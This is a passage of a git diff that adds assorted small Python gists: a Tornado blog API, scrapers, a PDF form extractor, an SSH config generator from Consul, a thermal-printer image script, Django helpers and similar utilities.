+                "timestamp": timestamp
+        }
+        self.db.blogs.update({"_id":_id}, {"$set":blog})
+        self.set_header('Content-Type', 'application/json')
+        self.write(dumps(blog))
+
+    def delete(self,blogid):
+        ## Convert unicode to int
+        _id = int(blogid)
+        blog = {
+                "title": None,
+                "tags": [],
+                "category": [],
+                "timestamp": None,
+        }
+        self.db.blogs.update({"_id":_id}, {"$set":blog})
+        self.set_header('Content-Type', 'application/json')
+        self.write(dumps(blog))
+
+class Blogs(Home):
+
+    def get(self):
+        blogs = str(list(self.db.blogs.find()))
+        self.set_header('Content-Type', 'application/json')
+        self.write(dumps(blogs))
+
+    def delete(self):
+        blogs = str(list(self.db.blogs.find()))
+        self.set_header('Content-Type', 'application/json')
+        self.db.blogs.drop()
+        self.write(dumps(blogs))
+
+application = tornado.web.Application([
+    (r"/", Home),
+    (r"/blog/([0-9]+)", Blog, dict(connection = Connection()) ),
+    (r"/blog/", Blog, dict(connection =  Connection()) ),
+    (r"/blogs/", Blogs, dict(connection =  Connection()) ),
+],debug=True)
+
+if __name__ == "__main__":
+    application.listen(7777)
+    tornado.ioloop.IOLoop.instance().start()
diff --git a/hard-gists/3693550/._snippet.py b/hard-gists/3693550/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3693550/._snippet.py differ
diff --git a/hard-gists/3693550/snippet.py b/hard-gists/3693550/snippet.py
new file mode 100644
index 00000000..e4436d22
--- /dev/null
+++ b/hard-gists/3693550/snippet.py
@@ -0,0 +1,70 @@
+## PyLogis
+
+import numpy as np
+import scipy as sp
+import matplotlib.pyplot as plt
+
+# Param orders: r, K
+
+def logis(x, y, p):
+	est = []
+	for time in xrange(0, len(x)):
+		num = p[1] * y[0] * np.exp(p[0] * x[time])
+		den = p[1] + y[0] * (np.exp(p[0] * x[time]) -1)
+		est.append(num/float(den))
+	return est
+
+def leastsquare(y, est):
+	err = []
+	for i in xrange(len(y)):
+		err.append( np.power(y[i] - est[i], 2) )
+	return np.sum(err)
+
+def pylogis(x, y, npop, ng, f, e, p):
+	TimeFit = []
+	## Step 1: Initial random parameters
+	par = np.empty([npop, len(p)])
+	for pop in xrange(npop):
+		for pa in xrange(len(p)):
+			par[pop,pa] = np.random.normal(loc = p[pa], scale = 1)
+	## Step 2: Simuls
+	for gen in xrange(ng):
+		Fit = []
+		for pop in xrange(npop):
+			CurrPar = par[pop,:]
+			CurrEst = f(x, y, CurrPar)
+			CurrErr = e(y, CurrEst)
+			Fit.append(CurrErr)
+		# Get the best set
+		MinFit = np.min(Fit)
+		TimeFit.append(MinFit)
+		for pop in xrange(npop):
+			if Fit[pop] == MinFit:
+				p = par[pop,:]
+				break
+		# New empty parameters
+		par = np.empty([npop, len(p)])
+		for pop in xrange(npop):
+			for pa in xrange(len(p)):
+				par[pop,pa] = np.random.normal(loc = p[pa], scale = p[pa] / float(100))
+	return p
+
+# Test
+
+Time = np.linspace(0, 35, 80)
+Pop = [1]
+Par = [0.3, 15]
+
+PopEst = logis(Time, Pop, Par)
+
+for i in xrange(len(PopEst)):
+	PopEst[i] = np.random.normal(loc = PopEst[i], scale = PopEst[i] / float(15))
+
+Opt = pylogis(Time, PopEst, 10, 100, logis, leastsquare, [0.01, 12])
+
+PopCal = logis(Time, Pop, Opt)
+
+print Opt
+
+plt.plot(Time, PopCal, 'g-', Time, PopEst, 'bo')
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/3695458/._snippet.py b/hard-gists/3695458/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3695458/._snippet.py differ
diff --git a/hard-gists/3695458/snippet.py b/hard-gists/3695458/snippet.py
new file mode 100644
index 00000000..8d580aa9
--- /dev/null
+++ b/hard-gists/3695458/snippet.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+""" """
+
+import json
+from urllib2 import urlopen
+from lxml.html import document_fromstring
+from lxml.cssselect import CSSSelector as cs
+
+url = "http://www.livescores.com"
+
+def strip(string):
+    return string.strip().strip(u'\xa0')
+
+def get_scores(text):
+    doc = document_fromstring(text)
+    trs = cs("table table table[bgcolor=\"#666666\"] tr")(doc)
+    trs = [tr for tr in trs if tr.text_content()]
+
+    ret = {}
+    group = None
+
+    for tr in trs:
+        if group is None:
+            group = strip(tr.text_content().strip())
+            ret[group] = {}
+            continue
+        if not ret[group]:
+            ret[group]["updated"] = strip(tr.text_content())
+        elif len(tr) == 4:
+            ret[group].setdefault("scores", []).append(
+                {
+                    "time": strip(tr[0].text_content()),
+                    "home": strip(tr[1].text_content()),
+                    "away": strip(tr[3].text_content()),
+                    "score": strip(tr[2].text_content()),
+                })
+        else:
+            group = strip(tr.text_content())
+            ret[group] = {}
+    return ret
+
+def genjson():
+    resp = urlopen(url)
+    scores = get_scores(resp.read())
+    print json.dumps(scores, indent=4)
+
+if __name__ == '__main__':
+    genjson()
\ No newline at end of file
diff --git a/hard-gists/3696512/._snippet.py b/hard-gists/3696512/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3696512/._snippet.py differ
diff --git a/hard-gists/3696512/snippet.py b/hard-gists/3696512/snippet.py
new file mode 100644
index 00000000..af7096ff
--- /dev/null
+++ b/hard-gists/3696512/snippet.py
@@ -0,0 +1,93 @@
+"""
+collect fillable form data from all pdf files in the input directory,
+and generate a "output.csv" file in the input directory
+
+Dependency: pdfminer
+Install: pip install pdfminer
+
+
+Usage:
+
+python pdfform.py <input dir>
+
+like:
+python pdfform.py "C:/pdfs/"
+
+"""
+import sys, os, re
+from pdfminer.pdfparser import PDFParser, PDFDocument
+from pdfminer.pdftypes import resolve1
+
+def get_fields(file_path):
+	"""
+	extract all field data from a pdf file
+	"""
+
+	parser = PDFParser(file_path)
+	doc = PDFDocument()
+	parser.set_document(doc)
+	doc.set_parser(parser)
+	doc.initialize()
+
+	return resolve1(doc.catalog['AcroForm'])['Fields']
+
+
+def get_record_value_string(dir_name, file_name):
+	"""
+	get a response form values as a string, separated by ','
+	"""
+	fp = open(os.path.join(dir_name, file_name), 'rb')
+	fields = get_fields(fp)
+
+	# initialize value list  with file_name
+	record_values = [file_name]
+	for i in fields:
+		field = resolve1(i)
+		name, value = field.get('T'), field.get('V')
+		record_values.append(",%s" % str(value).replace(",", "_"))
+
+	fp.close()
+	# convert to string
+	return ''.join(record_values)
+
+
+def get_record_header_string(dir_name, file_name):
+	"""
+	get field headers, return as a string
+	"""
+	fp = open(os.path.join(dir_name, file_name), 'rb')
+	fields = get_fields(fp)
+
+	record_fields = []
+	for i in fields:
+		field = resolve1(i)
+		name, value = field.get('T'), field.get('V')
+		record_fields.append(",%s" % name)
+
+	fp.close()
+	# convert to string
+	return ''.join(record_fields)
+
+
+###### main program starts here ######
+
+# get only pdf files
+regx = re.compile("\\.pdf$", re.IGNORECASE)
+
+# input directory, e.g., "C:\pdfs\"
+input_dir_path = sys.argv[1]
+output_path = os.path.join(input_dir_path, "output.csv")
+
+# get all pdf files in directory
+filenames = filter(regx.search, os.listdir(input_dir_path))
+output_file = open(output_path, "w")
+
+# write header to output
+output_file.write("%s\n" % get_record_header_string(input_dir_path, filenames[0]))
+
+# fill in form data from files
+for f in filenames:
+	output_file.write("%s\n" % get_record_value_string(input_dir_path, f))
+
+output_file.close()
+
diff --git a/hard-gists/3699110/._snippet.py b/hard-gists/3699110/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3699110/._snippet.py differ
diff --git a/hard-gists/3699110/snippet.py b/hard-gists/3699110/snippet.py
new file mode 100644
index 00000000..6ab34945
--- /dev/null
+++ b/hard-gists/3699110/snippet.py
@@ -0,0 +1,39 @@
+import os
+import urllib2
+import contextlib
+import StringIO
+
+from django.core.files.storage import get_storage_class, FileSystemStorage
+from django.core.files import File
+from django.conf import settings
+
+from galleries.models import GalleryImage
+
+OLD_STORAGE = FileSystemStorage()
+NEW_STORAGE = get_storage_class(settings.REMOTE_FILE_STORAGE)()
+
+
+def save_local_file(local_path):
+    with open(local_path) as file:
+        fn = os.path.split(local_path)[1]
+        django_file = File(file, fn)
+        path = NEW_STORAGE.save(fn, django_file)
+        print local_path, 'saved to', path
+        # save path
+
+def save_from_url(url):
+    with contextlib.closing(urllib2.urlopen(url)) as response:
+        with contextlib.closing(StringIO.StringIO(response)) as file:
+            file.seek(0)
+
+            fn = os.path.split(url)[1]
+            django_file = File(file, fn)
+
+            path = NEW_STORAGE.save(fn, django_file)
+            # with an object this would be
+            # obj.image_field.save(fn, file)
+
+            print url, 'saved to', path
+
+save_local_file('pip-log.txt')
+save_from_url('http://static.bbci.co.uk/frameworks/barlesque/2.8.11/desktop/3.5/img/blq-blocks_grey_alpha.png')
\ No newline at end of file
diff --git a/hard-gists/3699696/._snippet.py b/hard-gists/3699696/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3699696/._snippet.py differ
diff --git a/hard-gists/3699696/snippet.py b/hard-gists/3699696/snippet.py
new file mode 100644
index 00000000..49152aa9
--- /dev/null
+++ b/hard-gists/3699696/snippet.py
@@ -0,0 +1,83 @@
+# -*- coding: utf-8 -*-
+# java.py - sublimelint package for checking java files
+
+import sublime
+import subprocess
+import os
+import os.path
+import re
+
+from base_linter import BaseLinter, INPUT_METHOD_FILE
+
+CONFIG = {
+    'language': 'UnityC#'
+}
+
+#書いてる途中のファイルを書き出すtempフォルダ
+TMPPATH_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '.dtmpfiles'))
+if not os.path.exists(TMPPATH_DIR):
+    os.mkdir(TMPPATH_DIR)
+
+class Linter(BaseLinter):
+    def built_in_check(self, view, code, filename):
+        #パス取得
+        work_path = os.path.dirname(filename)
+        file_name = os.path.basename(filename)
+
+         #コンパイル場所の設定取得
+        settings = view.settings().get('SublimeLinter', {}).get(self.language, {})
+        if(settings):
+            dwd = settings.get('working_directory', [])
+            if(dwd):
+                #プロジェクトに設定あったらそれを取得
+                work_path = dwd
+
+        #書いてる途中のファイルをtempファイルとしてcsharp.py直下に書き出し
+        tempfilePath = os.path.join(TMPPATH_DIR, file_name)
+
+        with open(tempfilePath, 'w') as f:
+            f.write(code)
+
+        args = ["mcs", tempfilePath, "-target:library", "-r:/Applications/Unity/Unity.app/Contents/Frameworks/Managed/UnityEngine.dll,/Applications/Unity/Unity.app/Contents/Frameworks/Managed/UnityEditor.dll,/Users/username/project/Unity/project/simpledata/Library/ScriptAssemblies/Assembly-CSharp.dll"]
+
+        try:
+            #コンパイル
+            process = subprocess.Popen(args,
+                                        cwd=work_path,
+                                        stdin=subprocess.PIPE,
+                                        stdout=subprocess.PIPE,
+                                        stderr=subprocess.STDOUT,
+                                        startupinfo=self.get_startupinfo())
+            result = process.communicate(None)[0]
+        finally:
+            if tempfilePath:
+                #保存したファイルの削除
+                os.remove(tempfilePath)
+
+        return result.strip()
+
+    def parse_errors(self, view, errors, lines, errorUnderlines, violationUnderlines, warningUnderlines, errorMessages, violationMessages, warningMessages):
+        for line in errors.splitlines():
+            print line
+            # Template.cs(24,16): error CS0246: The type or namespace name `TemplateFrame' could not be found. Are you missing a using directive or an assembly reference?
+            match = re.match(r'^(?P<filename>.+\.cs)\((?P<line>\d+),(?P<col>\d+)\): (?P<level>\w+) (?P<error>.+)', line)
+
+            if match:
+                tab_filename = os.path.basename(view.file_name())
+                error_filename = os.path.basename(match.group('filename'))
+                level = match.group('level')
+                error, line = level + ' ' + match.group('error'), match.group('line')
+                col = match.group('col')
+
+                messages = None
+                underlines = None
+                if level == 'warning':
+                    messages = warningMessages
+                    underlines = warningUnderlines
+                else:
+                    messages = errorMessages
+                    underlines = errorUnderlines
+
+                if(tab_filename == error_filename):
+                    self.add_message(int(line), lines, error, messages)
+                    self.underline_word(view, int(line), int(col), underlines)
diff --git a/hard-gists/36c1db6ba57fc1fe72ae/._snippet.py b/hard-gists/36c1db6ba57fc1fe72ae/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/36c1db6ba57fc1fe72ae/._snippet.py differ
diff --git a/hard-gists/36c1db6ba57fc1fe72ae/snippet.py b/hard-gists/36c1db6ba57fc1fe72ae/snippet.py
new file mode 100644
index 00000000..4fe5b8fd
--- /dev/null
+++ b/hard-gists/36c1db6ba57fc1fe72ae/snippet.py
@@ -0,0 +1,37 @@
+from sklearn.datasets import fetch_20newsgroups
+from sklearn.feature_extraction.text import TfidfVectorizer
+from sklearn.linear_model import LogisticRegression
+from sklearn.pipeline import Pipeline
+import pandas as pd
+import numpy as np
+
+# Grab just two categories from the 20 newsgroups dataset
+categories=['sci.space', 'rec.autos']
+
+# Get training data
+ngd = fetch_20newsgroups(subset='train', categories=categories)
+X_train = ngd.data
+y_train = ngd.target
+
+# Use pipeline for easy extensibility
+steps = [
+	('vectorizer', TfidfVectorizer()),
+	('classifier', LogisticRegression(penalty='l1', C=10))
+]
+pipeline = Pipeline(steps)
+
+# Fit and assess training performance
+pipeline.fit(X_train, y_train)
+pred = pipeline.predict(X_train)
+print("Classification accuracy on training data: %.2f" % pipeline.score(X_train, y_train))
+
+# Performance on test data
+ngd = fetch_20newsgroups(subset='test', categories=categories)
+test_score = pipeline.score(ngd.data, ngd.target)
+print("Classification accuracy on test data: %.2f" % test_score)
+
+# Print largest coefficients
+vec, clf = pipeline.named_steps['vectorizer'], pipeline.named_steps['classifier']
+coefs = pd.Series(clf.coef_[0], index=vec.get_feature_names())
+print("\n20 most discriminating words:")
+print(coefs[coefs.abs().sort_values(ascending=False).index][:20])
diff --git a/hard-gists/36c31a9b653779b2b7d1/._snippet.py b/hard-gists/36c31a9b653779b2b7d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/36c31a9b653779b2b7d1/._snippet.py differ
diff --git a/hard-gists/36c31a9b653779b2b7d1/snippet.py b/hard-gists/36c31a9b653779b2b7d1/snippet.py
new file mode 100644
index 00000000..18cdcc41
--- /dev/null
+++ b/hard-gists/36c31a9b653779b2b7d1/snippet.py
@@ -0,0 +1,48 @@
+#!/usr/bin/python
+# esc-pos-image.py - print image files given as command line arguments
+#                    to simple ESC-POS image on stdout
+# scruss - 2014-07-26 - WTFPL (srsly)
+
+# if you want a proper CUPS driver for a 58mm thermal printer
+# that uses this command set, go here:
+#            https://github.com/klirichek/zj-58
+
+import sys
+from PIL import Image
+import PIL.ImageOps
+import struct
+
+# give usage and exit if no arguments
+if len(sys.argv) == 1:
+    print 'Usage:', sys.argv[0], \
+           'image1 image2 ... [ > printer_device ]'
+    exit(1)
+
+# print all of the images!
+for i in sys.argv[1:]:
+    im = Image.open(i)
+
+    # if image is not 1-bit, convert it
+    if im.mode != '1':
+        im = im.convert('1')
+
+    # if image width is not a multiple of 8 pixels, fix that
+    if im.size[0] % 8:
+        im2 = Image.new('1', (im.size[0] + 8 - im.size[0] % 8,
+                        im.size[1]), 'white')
+        im2.paste(im, (0, 0))
+        im = im2
+
+    # Invert image, via greyscale for compatibility
+    #  (no, I don't know why I need to do this)
+    im = PIL.ImageOps.invert(im.convert('L'))
+    # ... and now convert back to single bit
+    im = im.convert('1')
+
+    # output header (GS v 0 \000), width, height, image data
+    sys.stdout.write(''.join(('\x1d\x76\x30\x00',
+                              struct.pack('2B', im.size[0] / 8 % 256,
+                                          im.size[0] / 8 / 256),
+                                          struct.pack('2B', im.size[1] % 256,
+                                                      im.size[1] / 256),
+                                                      im.tobytes())))
diff --git a/hard-gists/36e652488563ab23ea04/._snippet.py b/hard-gists/36e652488563ab23ea04/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/36e652488563ab23ea04/._snippet.py differ
diff --git a/hard-gists/36e652488563ab23ea04/snippet.py b/hard-gists/36e652488563ab23ea04/snippet.py
new file mode 100644
index 00000000..77480dbb
--- /dev/null
+++ b/hard-gists/36e652488563ab23ea04/snippet.py
@@ -0,0 +1,142 @@
+#!/usr/bin/env python3
+"""
+Renders a partial SSH configuration file from Nodes and Services
+located in a specified Consul catalog and then merges other partial
+config files into the main ~/.ssh/config file. The Consul based SSH
+config follows a convention for the SSH host::
+
+    Host <consul-cluster-name>-<service-name>-<node-address>
+        User <ssh-user>
+        Hostname <consul-node-address>
+
+For example::
+
+    Host aws-us-east-1-wsgi-app-http-10-0-0-50
+        User joe
+        Hostname 10.0.0.50
+
+To see available options run::
+
+    consul-ssh-configurator --help
+"""
+
+
+import argparse
+import glob
+import json
+import os
+import shutil
+
+from http.client import HTTPConnection
+
+
+class Client(object):
+    def __init__(self, host):
+        self.connection = HTTPConnection(host, timeout=10)
+
+    def open(self, method, url, body=None, headers={}):
+        self.connection.request(method, url, body, headers)
+        response = self.connection.getresponse()
+        return json.loads(response.read().decode())
+
+    def get(self, url):
+        return self.open('GET', url)
+
+
+class SshHost(object):
+
+    def __init__(self, host, ssh_user, hostname):
+        self.host = host
+        self.ssh_user = ssh_user
+        self.hostname = hostname
+
+
+class Inventory(object):
+
+    def __init__(self, ssh_user):
+        self.services = {}
+        self.ssh_user = ssh_user
+
+    def add_service(self, dc, name, address):
+        service = '%s-%s' % (dc, name)
+        self.services.setdefault(service, [])
+        host = '%s-%s' % (service, address.replace('.', '-'))
+        ssh_host = SshHost(host, self.ssh_user, address)
+        self.services[service].append(ssh_host)
+
+    def __iter__(self):
+        for services in self.services.values():
+            for ssh_host in services:
+                yield ssh_host
+
+
+class App(object):
+
+    def __init__(self, consul, ssh_user, merge):
+        self.client = Client(consul)
+        self.merge = merge
+        self.inventory = Inventory(ssh_user)
+
+    def get_datacenters(self):
+        return self.client.get('/v1/catalog/datacenters')
+
+    def get_nodes(self, dc=''):
+        return self.client.get('/v1/catalog/nodes?dc=%s' % dc)
+
+    def get_node(self, node, dc=''):
+        return self.client.get('/v1/catalog/node/%s?dc=%s' % (node['Node'], dc))
+
+    def get_node_services(self, node):
+        return [s['Service'] for s in node['Services'].values()]
+
+    def get_inventory(self):
+        for dc in self.get_datacenters():
+            for node in self.get_nodes(dc):
+                node = self.get_node(node, dc)
+                for service in self.get_node_services(node):
+                    self.inventory.add_service(dc, service, node['Node']['Address'])
+
+    def write_config(self):
+        ssh_dir = os.path.join(os.environ['HOME'], '.ssh')
+        main_config_path = os.path.join(ssh_dir, 'config')
+        main_config_backup_path = os.path.join(ssh_dir, 'config.old')
+        consul_config_path = os.path.join(ssh_dir, 'consul.config')
+        merge_files = os.path.join(ssh_dir, self.merge)
+
+        with open(consul_config_path, 'w') as f:
+            for ssh_host in self.inventory:
+                f.write('Host %s\n' % ssh_host.host)
+                f.write('  Hostname %s\n' % ssh_host.hostname)
+                f.write('  User %s\n\n' % ssh_host.ssh_user)
+
+        shutil.copyfile(main_config_path, main_config_backup_path)
+        with open(main_config_path, 'w') as ssh_config:
+            for fn in glob.glob(merge_files):
+                with open(fn, 'r') as config:
+                    ssh_config.write(config.read())
+        print('config written to %s' % main_config_path)
+
+    def run(self):
+        self.get_inventory()
+        self.write_config()
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument(
+        '-c', '--consul', default='localhost:8500',
+        help='The Consul host to connect to. Defaults to localhost:8500')
+    parser.add_argument(
+        '-u', '--ssh-user', default=os.getlogin(),
+        help='The SSH user to specify for all hosts. Defaults to %s' % os.getlogin())
+    parser.add_argument(
+        '-m', '--merge', default='*.config',
+        help='A glob pattern to specify files to collect and merge into the main config. '
+             'Defaults to "*.config"')
+    args = parser.parse_args()
+
+    App(args.consul, args.ssh_user, args.merge).run()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/3706203/._snippet.py b/hard-gists/3706203/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3706203/._snippet.py differ
diff --git a/hard-gists/3706203/snippet.py b/hard-gists/3706203/snippet.py
new file mode 100644
index 00000000..f187a4c3
--- /dev/null
+++ b/hard-gists/3706203/snippet.py
@@ -0,0 +1,82 @@
+# Minecraft Overviewer dynamic config file for multiple Minecraft worlds 
+# managed by MSM (https://github.com/marcuswhybrow/minecraft-server-manager)
+
+import os
+
+# Define where to put the output here.
+outputdir = "/storage/www/vhosts/minecraft.example.com"
+
+# Add Javascript to map when rendering
+from observer import JSObserver
+observer = JSObserver(outputdir, 10)
+
+# Default rendermode for all daylight maps
+rendermode = "smooth_lighting"
+
+#POI Filters
+
+def playerIcons(poi):
+        if poi['id'] == 'Player':
+                poi['icon'] = "http://overviewer.org/avatar/%s" % poi['EntityId']
+                return "Last known location for %s" % poi['EntityId']
+
+def signFilter(poi):
+        if poi['id'] == 'Sign':
+                return "\n".join([poi['Text1'], poi['Text2'], poi['Text3'], poi['Text4']])
+
+def chestFilter(poi):
+        if poi['id'] == 'Chest':
+                return "Chest with %d items" % len(poi['Items'])
+
+# Where all the MSM servers are stored
+servers = os.walk('/opt/msm/servers').next()[1]
+
+# Loop through each server directory
+for the_server in servers:
+	world_name = the_server.replace("_", " ").title()
+	worlds[world_name] = "".join(("/opt/msm/servers/",the_server,"/worldstorage/world"))
+	
+	# Overworld
+	renders["".join((the_server, "")).replace("_"," ").title()] = {
+        	'world': world_name,
+        	'title': 'Daytime',
+        	'dimension': "overworld",
+        	'markers': [dict(name="All Signs", filterFunction=signFilter),
+			dict(name="Chests",    filterFunction=chestFilter, icon="chest.png", createInfoWindow=False),
+			dict(name="Players",   filterFunction=playerIcons)]
+	}
+	# Overworld Night
+	renders["".join((the_server," Night")).replace("_"," ").title()] = {
+        	'world': world_name,
+		'title': 'Nighttime',
+        	'rendermode': 'smooth_night',
+        	"dimension": "overworld",
+	}
+	# Overworld caves
+	renders["".join((the_server," Caves")).replace("_"," ").title()] = {
+        	'world': world_name,
+        	'title': 'Caves',
+        	"rendermode": cave,
+        	"dimension": "overworld",
+        	"overlay" : [world_name, "".join((the_server," Night")).replace("_"," ").title()],
+	}
+
+	# Only add The End and Nether if they actually exist
+	subregions = os.walk("".join(('/opt/msm/servers/',the_server,"/worldstorage/world/"))).next()[1]
+	for subregion in subregions:
+		subregion_path = "".join(('/opt/msm/servers/',the_server,"/worldstorage/world/",subregion))
+		if ('DIM-1' in subregion) and os.listdir(subregion_path):
+			renders["".join((the_server," Nether")).replace("_"," ").title()] = {
+        			'world': world_name,
+        			'title': 'Nether',
+        			"rendermode": nether_smooth_lighting,
+        			"dimension": "nether",
+			}
+		if ('DIM1' in subregion) and os.listdir(subregion_path):
+			renders["".join((the_server," The End")).replace("_"," ").title()] = {
+        			'world': world_name,
+        			'title': 'The End',
+        			"rendermode": nether_smooth_lighting,
+        			"dimension": "end",
+
+			}
\ No newline at end of file
diff --git a/hard-gists/3714115/._snippet.py b/hard-gists/3714115/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3714115/._snippet.py differ
diff --git a/hard-gists/3714115/snippet.py b/hard-gists/3714115/snippet.py
new file mode 100644
index 00000000..3e417cae
--- /dev/null
+++ b/hard-gists/3714115/snippet.py
@@ -0,0 +1,90 @@
+"""qurl is a tag to append, remove or replace query string parameters from an url (preserve order)"""
+ 
+import re
+from django.template import Library, Node, TemplateSyntaxError
+from urlparse import urlparse, parse_qsl, urlunparse
+from django.utils.encoding import smart_str
+from urllib import urlencode
+ 
+ 
+register = Library()
+ 
+ 
+@register.tag
+def qurl(parser, token):
+    """
+    Append, remove or replace query string parameters from an url (preserve order)
+ 
+        {% qurl url [param]* [as <var_name>] %}
+ 
+    param:
+            name=value: replace all values of name by one value
+            name=None: remove all values of name
+            name+=value: append a new value for name
+            name-=value: remove the value of name with the value
+ 
+    Example::
+ 
+        {% qurl '/search?page=1&color=blue&color=green' order='name' page=None color+='red' color-='green' %}
+        Output: /search?color=blue&order=name&color=red
+ 
+        {% qurl request.get_full_path order='name' %}
+    """
+    bits = token.split_contents()
+    if len(bits) < 2:
+        raise TemplateSyntaxError("'%s' takes at least one argument (url)" % bits[0])
+ 
+    url = parser.compile_filter(bits[1])
+ 
+    asvar = None
+    bits = bits[2:]
+    if len(bits) >= 2 and bits[-2] == 'as':
+        asvar = bits[-1]
+        bits = bits[:-2]
+ 
+    qs = []
+    if len(bits):
+        kwarg_re = re.compile(r"(\w+)(\-=|\+=|=)(.*)")
+        for bit in bits:
+            match = kwarg_re.match(bit)
+            if not match:
+                raise TemplateSyntaxError("Malformed arguments to url tag")
+            name, op, value = match.groups()
+            qs.append((name, op, parser.compile_filter(value),))
+ 
+    return QURLNode(url, qs, asvar)
+ 
+ 
+class QURLNode(Node):
+    """Implements the actions of the qurl tag."""
+ 
+    def __init__(self, url, qs, asvar):
+        self.url = url
+        self.qs = qs
+        self.asvar = asvar
+ 
+    def render(self, context):
+        urlp = list(urlparse(self.url.resolve(context)))
+        qp = parse_qsl(urlp[4])
+        for name, op, value in self.qs:
+            name = smart_str(name)
+            value = value.resolve(context)
+            value = smart_str(value) if value is not None else None
+            if op == '+=':
+                qp = filter(lambda (n, v): not(n == name and v == value), qp)
+                qp.append((name, value,))
+            elif op == '-=':
+                qp = filter(lambda (n, v): not(n == name and v == value), qp)
+            elif op == '=':
+                qp = filter(lambda (n, v): not(n == name), qp)
+                if value is not None:
+                    qp.append((name, value,))
+ 
+        urlp[4] = urlencode(qp, True)
+        url = urlunparse(urlp)
+ 
+        if self.asvar:
+            context[self.asvar] = url
+            return ''
+        else:
+            return url
\ No newline at end of file
diff --git a/hard-gists/371698/._snippet.py b/hard-gists/371698/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/371698/._snippet.py differ
diff --git a/hard-gists/371698/snippet.py b/hard-gists/371698/snippet.py
new file mode 100644
index 00000000..836dc411
--- /dev/null
+++ b/hard-gists/371698/snippet.py
@@ -0,0 +1,23 @@
+from django.test.simple import DjangoTestSuiteRunner
+from django.test import TransactionTestCase
+
+from mongoengine import connect
+
+class TestRunner(DjangoTestSuiteRunner):
+    def setup_databases(self, **kwangs):
+        db_name = 'testsuite'
+        connect(db_name)
+        print 'Creating test-database: ' + db_name
+
+        return db_name
+
+    def teardown_databases(self, db_name, **kwargs):
+        from pymongo import Connection
+        conn = Connection()
+        conn.drop_database(db_name)
+        print 'Dropping test-database: ' + db_name
+
+
+class TestCase(TransactionTestCase):
+    def _fixture_setup(self):
+        pass
diff --git a/hard-gists/3719535/._snippet.py b/hard-gists/3719535/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3719535/._snippet.py differ
diff --git a/hard-gists/3719535/snippet.py b/hard-gists/3719535/snippet.py
new file mode 100644
index 00000000..02b8d3d1
--- /dev/null
+++ b/hard-gists/3719535/snippet.py
@@ -0,0 +1,75 @@
+from gcrawler import GCrawler, Downloader
+import unittest
+import urllib2
+import logging
+import traceback
+from datetime import datetime
+import re
+
+logging.basicConfig(level=logging.DEBUG)
+
+urls=['http://www.163.com', 'http://www.qq.com', 'http://www.sina.com.cn', 'http://www.sohu.com', 'http://www.yahoo.com', 'http://www.baidu.com', 'http://www.google.com', 'http://www.microsoft.com']
+
+class DummySpider:
+    def scheduler(self):
+        for u in urls:
+            yield u
+
+    def worker(self, item):
+        try:
+            f = urllib2.urlopen(item)
+            data = f.read()
+            f.close()
+            return (item, len(data))
+        except:
+            traceback.print_exc()
+            return None
+
+    def pipeline(self, results):
+        for r in results:
+            print "Downloaded : %s(%s)" % r
+
+class DummyDownloader(Downloader):
+    def pipeline(self, results):
+        for r in results:
+            r['datasize'] = len(r['data'])
+            print "Data fetched : %(url)s(%(datasize)s)" % r
+
+class ImagesDownloader(Downloader):
+    def parse(self, result):
+        pat_imgs = re.compile(u"<img.*src=\"([^\"]*)", re.I | re.U)
+        imgs = list(set(pat_imgs.findall(result['data'])))
+        print "Images count %s" % len(imgs)
+        new_items = []
+        for i in imgs:
+            if i != "":
+                item = dict(url=i, parse=None)
+                new_items.append(item)
+        return new_items, result
+
+    def pipeline(self, results):
+        print "== %s" % datetime.now()
+        for r in results:
+            r['datasize'] = len(r['data'])
+            print "Image Data fetched : %(url)s(%(datasize)s)" % r
+
+class TestGCrawler(unittest.TestCase):
+    '''
+    def testSpider(self):
+        spider = DummySpider()
+        crawler = GCrawler(spider, workers_count = 3)
+        crawler.start()
+
+    def testDownloader(self):
+        spider = DummyDownloader(urls)
+        crawler = GCrawler(spider, workers_count = 3)
+        crawler.start()
+    '''
+    def testBatch(self):
+        print "start at : %s" % datetime.now()
+        spider = ImagesDownloader(['http://f1.163.com'])
+        crawler = GCrawler(spider, workers_count = 3)
+        crawler.start()
+
+unittest.main()
+
diff --git a/hard-gists/3719849/._snippet.py b/hard-gists/3719849/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3719849/._snippet.py differ
diff --git a/hard-gists/3719849/snippet.py b/hard-gists/3719849/snippet.py
new file mode 100644
index 00000000..34a2d2fa
--- /dev/null
+++ b/hard-gists/3719849/snippet.py
@@ -0,0 +1,23 @@
+"""
+usage: python remove_output.py notebook.ipynb [ > without_output.ipynb ]
+
+
+"""
+import sys
+import io
+from IPython.nbformat import current
+
+
+def remove_outputs(nb):
+    """remove the outputs from a notebook"""
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type == 'code':
+                cell.outputs = []
+
+if __name__ == '__main__':
+    fname = sys.argv[1]
+    with io.open(fname, 'r') as f:
+        nb = current.read(f, 'json')
+    remove_outputs(nb)
+    print current.writes(nb, 'json')
\ No newline at end of file
diff --git a/hard-gists/3721106/._snippet.py b/hard-gists/3721106/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3721106/._snippet.py differ
